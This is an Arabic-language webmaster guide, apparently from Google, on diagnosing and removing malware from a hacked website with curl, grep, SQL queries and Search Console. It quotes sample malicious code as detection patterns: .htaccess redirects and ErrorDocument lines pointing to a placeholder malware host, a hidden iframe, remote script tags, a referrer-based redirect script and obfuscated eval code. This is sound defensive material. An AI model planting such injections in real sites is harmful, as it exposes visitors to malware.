البرامج الضارّة هي أي تطبيق للأجهزة الجوّالة أو برنامج تم تصميمه خصيصًا لإلحاق الضرر بجهاز كمبيوتر أو بجهاز جوّال أو ببرامج الجهاز أو بمستخدميه. لمزيد من المعلومات عن البرامج الضارة، يُرجى الاطّلاع على مقالة البرامج الضارة والبرامج غير المرغوب فيها.
إذا كان موقعك الإلكتروني يتضمّن برامج ضارة، سيرى المستخدمون عادةً التحذير "قد يؤدي هذا الموقع الإلكتروني إلى الإضرار بجهاز الكمبيوتر الخاص بك" المعروض في نتائج البحث أو على صفحة بينية يعرضها المتصفّح عندما يحاول المستخدم الانتقال إلى موقعك الإلكتروني، على النحو التالي:
ستحتاج إلى ما يلي:
- إذن وصول المشرف إلى shell أو المحطة الطرفية في خوادم موقعك الإلكتروني: الويب وقاعدة البيانات والملفات
- معرفة أوامر shell أو Terminal
- إمكانية تنفيذ طلبات بحث SQL على قاعدة البيانات
الإعداد
- اشترِك في Search Console وأثبِت ملكية موقعك الإلكتروني المخترَق كما هو موضّح في هذه الخدمة. تقدّم Search Console عيّنة من الصفحات المتأثرة، ما يسهّل العثور على المشاكل المتعلّقة بالاختراق باستخدام البرامج الضارة و حلّها. بالإضافة إلى ذلك، سيتم تحذيرك عند رصد أنّ موقعك الإلكتروني يتأثر بالعديد من أنواع البرامج الضارة أو عمليات الاختراق الأخرى.
يمكنك الاطّلاع على صفحة بيانات التشخيص في ميزة "التصفح الآمن من Google" لعرض المعلومات المتاحة للجميع حول ما إذا كان الموقع الإلكتروني قد يتسبّب بضرر للمستخدمين. يمكنك الاطّلاع على حالة بيانات صفحتك أو موقعك الإلكتروني على عنوان URL مشابه لما يلي:
https://transparencyreport.google.com/safe-browsing/search?url=***<<page_or_site>>***
على سبيل المثال:https://transparencyreport.google.com/safe-browsing/search?url=webmastercentralblog.blogspot.com
يمكن أن يكون
<<page_or_site>>
عنوان URL لصفحة معيّنة (http://example.com/badpage
) أو موقعك الإلكتروني بالكامل (example.com).تجنَّب استخدام متصفّح لعرض الصفحات على موقعك الإلكتروني. وبما أنّ البرامج الضارة تنتشر غالبًا من خلال استغلال الثغرات الأمنية في المتصفّح، قد يؤدي فتح صفحة مصابة ببرامج ضارة في المتصفّح إلى إتلاف جهاز الكمبيوتر الذي تستخدمه. ما لم تُشير تعليمات التشخيص إلى الوصول إلى الصفحة مباشرةً في المتصفّح، استخدِم cURL أو Wget لتنفيذ طلبات HTTP (مثلاً، لجلب صفحة).
وهذه الأدوات المتوفرة مجانًا مفيدة في تشخيص عمليات إعادة التوجيه، ويمكن من خلالها تحديد المُحيل أو معلومات وكيل المستخدم. من المفيد تضمين مُحيل أو مُعرِّف مستخدم معيّن في تقليد أسلوب عمل المخترقين، لأنّه قد يعرض المخترقون المحتوى الضار فقط للمستخدمين الذين لديهم مُعرِّفات مستخدمين أو مُحيلين معيّنين لاستهداف المزيد من "المستخدمين الحقيقيين" وتجنُّب رصدهم من قِبل مالكي المواقع الإلكترونية وأدوات فحص البرامج الضارة.
`curl -v --referer "http://www.google.com" <your-url>`
في ما يلي مثال يحدّد كلّ من وكيل مستخدم ومُحيل:
`curl -v --referer "https://www.google.com" --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)" http://www.example.com/page.html`
ننصحك بجلب الصفحة باستخدام--referer "https://www.google.com"
وبدونه، لأنّ بعض البرامج الضارة لا يتم تفعيلها إلا
عندما يأتي المستخدمون من نتائج "بحث Google".
أنشئ مستندًا لتسجيل ما يتم التوصل إليه في هذه الخطوة. سيتضمّن المستند في نهاية المطاف (على الأقل) اسم كل ملف تالف وموقعه الجغرافي، بالإضافة إلى ملاحظات حول كيفية إصابته بالفيروس، وسيشكّل الأساس الذي يستند إليه تنظيف موقعك الإلكتروني وصيانته.
شاهِد الفيديو الذي سبق أن تم عرضه في هذه الصفحة للتعرّف على آلية عمل البرامج الضارة وكيفية الحفاظ على أمانك أثناء التحقيق في البرامج الضارة.
التشخيص
حدِّد البرامج الضارة التي تؤثر في موقعك الإلكتروني:
- افتح تقرير "مشاكل الأمان" لموقعك الإلكتروني في Search Console. وسِّع وصف تحذير البرامج الضارة للاطّلاع على قائمة بأمثلة على الصفحات المتأثرة. يُرجى العلم أنّ هذه القائمة ليست شاملة، وقد لا تحصل على أمثلة على صفحات لجميع أنواع البرامج الضارة على موقعك الإلكتروني.
- اختبِر صفحاتك النموذجية بحثًا عن الأنواع التالية من البرامج الضارة.
برامج ضارة في إعدادات الخادم (عمليات إعادة توجيه غير مرغوب فيها)
اخترق أحد المخترِقين موقعك الإلكتروني ويعيد توجيه الزائرين من موقعك السليم
إلى موقعه المعدّ للهجوم ببرامج ضارة، غالبًا من خلال تعديل ملفات إعداد
الخادم. وغالبًا ما تتيح ملفات إعداد الخادم لمشرف
الموقع تحديد عناوين URL لإعادة التوجيه الخاصّة بصفحات أو أدلة معيّنة على
الموقع الإلكتروني. على سبيل المثال، في خوادم Apache، يتمثل ذلك في ملف .htaccess
وملف httpd.conf
.
التشخيص
انتقِل إلى بعض عناوين URL المُعطاة كأمثلة في تقرير "مشاكل الأمان". قد تشتمل الاستجابة من صفحة تم اختراق "إعداد الخادم" فيها على الرؤوس التالية:
< HTTP/1.1 301 Moved Permanently
< Date: Sun, 24 Feb 2013 21:06:45 GMT
< Server: Apache
< Location: http://<<strong>_malware-attack-site_</strong>>/index.html
< Content-Length: 253
تحديد الملفات المتأثرة
سجِّل الدخول إلى الخادم باستخدام إمكانية الوصول الطرفية أو shell (يمكن عدم عرض الموقع علنيًا
إذا أردت ذلك) وراجِع ملفات إعداد الخادم ذات الصلة. قد يكون هناك أكثر من ملف لإعداد الخادم المخترَق على موقعك الإلكتروني. افحص هذه الملفات للتأكد من أنّه ما من توجيهات غير مرغوب فيها، مثل عناوين URL التي يمكن للمخترِق من خلالها حمل موقعك الإلكتروني على إعادة توجيه المستخدم إلى مواقع إلكترونية غير معروفة. على سبيل المثال، في ملف
.htaccess
، قد تظهر عملية إعادة توجيه على النحو التالي:
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*
**RewriteRule ^third-page.html($|/) http://<<em><strong>_malware-site_</strong></em>>/index.html** [R=301]
إدخال عبر SQL
اخترق أحد المخترقين قاعدة بيانات موقعك الإلكتروني. على سبيل المثال، قد يكون المخترق قد أدخَل رمزًا ضارًا بشكل برمجي في كل سجلّ من جدول قاعدة البيانات. وبهذه الطريقة عندما يحمّل الخادم صفحة تتطلب معلومات من قاعدة البيانات، يتمّ تضمين الرمز الضارّ في محتوى الصفحة ويمكن أن يسبّب ضررًا لزوار الموقع.
التشخيص
- يمكنك إجراء بعض طلبات البحث في سطر الأوامر عن عناوين URL التي تتضمّن برامج ضارة، ثمّ التحقّق من الاستجابة الخاصة بكلمات هجوم SQL مثل "iframe" أو "eval".
سجِّل الدخول إلى خادم قاعدة البيانات أو استعرض قاعدة البيانات من خلال أداة مثل phpMyAdmin. إذا كنت تستخدم Wget أو cURL، جرِّب الربط بين الأضرار في رمز مصدر الصفحة من خلال Wget أو cURL وإدخالات قاعدة البيانات الفعلية. على سبيل المثال، إذا لاحظت أنّ صفحاتك تتضمّن إطار iframe ضارًا، يمكنك إجراء بحث SQL عن رمز iframe. على سبيل المثال:
SELECT * FROM blog_posts WHERE post_text LIKE '%>iframe%';
يمكنك أيضًا فحص سجل قاعدة البيانات وملفات الأخطاء على خادمك بحثًا عن نشاط غير معتاد، مثل أوامر SQL غير المتوقعة التي تبدو غير عادية للمستخدمين العاديين أو الأخطاء.
حلّ المشكلة
يمكنك تعديل كل سجلّ لقاعدة بيانات تتضمّن هذه البرامج الضارّة أو استعادة آخر نسخة احتياطية معروفة من قاعدة البيانات.
إدخال الرمز
تم تعديل الصفحات على موقعك الإلكتروني لتضمين رمز ضارّ، مثل إطار iframe، إلى موقع مُعدّ للهجوم ببرامج ضارّة.
التشخيص
انتقِل إلى بعض عناوين URL المُعطاة كأمثلة في تقرير "مشاكل الأمان" باستخدام cURL أو wGet وابحث عن رموز مريبة. يمكن أن يكون للرمز المُحقَّق أنواعًا متعددة، وقد يكون من الصعب العثور عليه. يمكنك الاستفادة من البحث عن كلمات مثل "iframe" للعثور على رمز iframe. وهناك كلمات رئيسية أخرى مفيدة هي "script" و"eval" و"unescape". على سبيل المثال، للبحث في جميع الملفات عن "iframe" على الأنظمة التي تعمل بنظام التشغيل Unix:
$grep -irn "iframe" ./ | less</pre>
في ما يلي بعض أنماط البرامج الضارة الشائعة التي يجب البحث عنها.
إطار iframe يحمِّل موقعًا إلكترونيًا ضارًا:
<iframe frameborder="0" height="0" src="http://<<strong><em>_malware-site_</em></strong>>/path/file"
style="display:none" width="0"></iframe>
JavaScript أو لغة برمجة نصية أخرى تستدعي نصوصًا برمجية وتشغّلها من موقع هجوم:
<script type='text/javascript' src='http://<<em><strong>_malware-site_</strong></em>>/js/x55.js'></script>
نص برمجي يعيد توجيه المتصفح إلى موقع هجوم:
<script>
if (document.referrer.match(/google\.com/)) {
window.location("http://<<em><strong>_malware-site_</strong></em>>/");
}
</script>
رمز ضار تم إخفاؤه لمنع إمكانية اكتشافه
eval(base64_decode("aWYoZnVuaauUl+hasdqetiDi2iOwlOHTgs+slgsfUNlsgasdf"));
ملفات عناصر مشتركة تمّ تصميمها لكتابة رموز ضارّة عشوائيًا لنصوص برمجية غير خطيرة أخرى:
#httpd.conf modified by the hacker
LoadModule harmful_module modules/mod_harmful.so
AddModule mod_harmful.c
نماذج الأخطاء الضارّة
يتمّ إعداد النموذج المستخدَم لرسائل الخطأ، مثل "404 لم يتمّ العثور على الملف"، لتوزيع برامج ضارّة. وبهذه الطريقة، يمكن للمهاجمين شن هجمات على عناوين URL غير المتوفّرة على موقعك الإلكتروني.
التشخيص
اطلب صفحة غير متوفّرة على موقعك الإلكتروني أو صفحة تعرض نوعًا آخر من الأخطاء، وافحص الاستجابة للتحقّق ممّا إذا كانت تَرِد من موقع آخر أو تشتمل على برامج ضارّة.
حلّ المشكلة
سجِّل الدخول إلى خادم الويب وابحث في ملفات إعداد الخادم عن توجيهات لصفحات
الأخطاء. على سبيل المثال، يمكن
الإعلان عن نموذج الخطأ لخوادم ويب Apache في ملف .htaccess
. في ما يلي مثال على إدخال ملف .htaccess
الذي
يسترد صفحات الخطأ 404 من موقع ضار:
ErrorDocument 404 http://<<span class="red-text"><em><strong>_malware-site_</strong></em></span>>/index.html
عندما تكون مستعدًا لإزالة البرامج غير المرغوب فيها من موقعك الإلكتروني، يمكنك استبدال ملفات .htaccess
بنسخة احتياطية معروفة وجيدة، أو حذف توجيهات ErrorDocument غير المرغوب فيها في
ملفات .htaccess
الحالية. تأكَّد أيضًا من تنظيف ملفات الأخطاء الفعلية إذا كانت متوفرة على موقعك الإلكتروني. وأخيرًا، أعِد تشغيل خادم الويب للتأكّد من دخول جميع
التغييرات حيز التنفيذ.
يتم تحميل الموارد من موقع إلكتروني مخترَق أو ضار {compromised-resources}
يستخدم موقعك الإلكتروني محتوى أو موارد من موقع إلكتروني يُعرَف عنه أنّه يشتمل على محتوى ضار. وقد تكون هذه الملفات ملفات JavaScript أو صورًا أو ملفات أخرى. ولهذا السبب، سيتم الإبلاغ عن موقعك الإلكتروني بسبب البرامج الضارة التي تم تحميلها من ذلك الموقع الإلكتروني الآخر.
التشخيص
انتقِل إلى بعض عناوين URL المُعطاة كأمثلة في تقرير "مشاكل الأمان".
حلّ المشكلة
- تأكَّد من المشكلة من خلال الانتقال إلى بعض نماذج عناوين URL المدرَجة في تقرير "مشاكل الأمان" في Search Console. من المفترض أن يظهر لك تحذير في المتصفّح.
- سيُطلعك تحذير المتصفح على نطاق المحتوى المشكوك به. عليك إزالة جميع الإشارات إلى الموقع الإلكتروني الذي تمّ الإبلاغ عنه في تحذير المتصفِّح. إذا تم تضمين محتوى من موقع تم الإبلاغ عنه بدون علمك، يعني ذلك أنّ المشكلة أكثر خطورة. من المرجّح أنّه تم اختراق موقعك الإلكتروني، ويجب مواصلة فحص موقعك الإلكتروني بحثًا عن عمليات اختراق أخرى ونقاط ضعف أخرى.
- إذا أدرجت عن قصد محتوًى من موقع إلكتروني شرعي تم وضع علامة عليه
وكنت تريد إعادة تضمين المحتوى بعد إزالة العلامة من الموقع الإلكتروني، يمكنك تتبُّع حالة الموقع الإلكتروني الذي تم وضع علامة عليه باستخدام
صفحة بيانات تشخيص ميزة "التصفح الآمن" من Google
لهذا الموقع الإلكتروني (
http://www.google.com/safebrowsing/diagnostic?site=www.example.com
){:.external}. وعادةً ما يزيل مالكو المواقع الإلكترونية المشروعة هذا المحتوى بسرعة.
التحقيق الإضافي
بعد ذلك، تحقّق من عدم توفّر أي ملفات ضارة أو تغييرات إضافية على نظامك. قد يكون المخترق قد عدّل الصفحات الحالية أو سجلّات قاعدة البيانات، أو أنشأ صفحات جديدة غير مرغوب فيها تمامًا، أو كتب وظائف تعرض محتوى غير مرغوب فيه على صفحات نظيفة، أو ترك "أبوابًا خلفية" تسمح للمخترق بإعادة الدخول إلى موقعك الإلكتروني، أو تعيد إدراج الرمز الضار الذي أزلته.
إذا كان موقعك الإلكتروني متصلاً بالإنترنت، ننصحك بإيقاف عرضه مؤقتًا لإجراء هذا التحقيق.
إذا كانت لديك نسخة احتياطية جيدة من موقعك الإلكتروني، حدِّد الملفات التي تم إنشاؤها أو تعديلها منذ إنشاء النسخة الاحتياطية وافحصها. على الأنظمة المستندة إلى نظام التشغيل Unix، يمكنك استخدام أمر مثل ما يلي للعثور على الملفات الجديدة:
diff -qr <current-directory> <backup-directory>
على سبيل المثال:
diff -qr www/ backups/full-backup-20120124/
أيضًا:
md5sum <current-page> <backup-page>
على سبيل المثال:
md5sum www/page.html backups/full-backup-20120124/page.html
تحقّق من سجلّات الخادم والوصول والأخطاء بحثًا عن أي نشاط مريب، مثل محاولات تسجيل الدخول غير الناجحة وسجلّ الأوامر (خاصةً بصفتك مشرفًا) وإنشاء حسابات مستخدمين غير معروفة. يُرجى العِلم أنّ المخترق ربما غيّر هذه السجلات لأغراضه الخاصة. يتم عرض بعض الأمثلة في الفيديو الخاص بخطوة تحديد الثغرة الأمنية.
التحقّق من ملفات الضبط بحثًا عن عمليات إعادة التوجيه عادةً ما يتم تسمية ملفات الضبط باسمَي .htaccess
وhttpd.conf
. غالبًا ما ينشئ المخترقون إعادة توجيه مشروطة
استنادًا إلى وكيل المستخدم أو الوقت من اليوم أو المُحيل. إذا كنت بحاجة إلى
تعديل ملفات الإعداد، قد تحتاج إلى إعادة تشغيل الخادم كي تتم
تنفيذ التغييرات.
تحقَّق من أذونات الملفات والمجلدات التي تتسم بالتساهل المفرط. يتلاعب المخترقون
بالأذونات لأنّه إذا لم يرصد مالك الموقع الإلكتروني الأذونات المتساهلة،
سيكون لدى المخترق طريقة لإعادة الدخول إلى الموقع الإلكتروني. يمكن أن تتسبب الملفات التي يزيد حجمها عن
644 (rw-r--r--)
والمجلدات التي يزيد حجمها عن755 (rwxr-xr-x)
في حدوث
مشاكل في الأمان. ولذلك تأكد من أن أية أذونات غير محكمة تمثل أهمية كبيرة. على
الأنظمة المستندة إلى Unix، جرِّب ما يلي:
find <your-dir> -type d -not -perm 755 -exec ls -ld {} \;
و:
find <your-dir> -type f -not -perm 644 -exec ls -la {} \;
إذا كانت لديك قاعدة بيانات، يمكنك التحقيق في كل سجلّ على حدة باستخدام أداة مثل phpMyAdmin.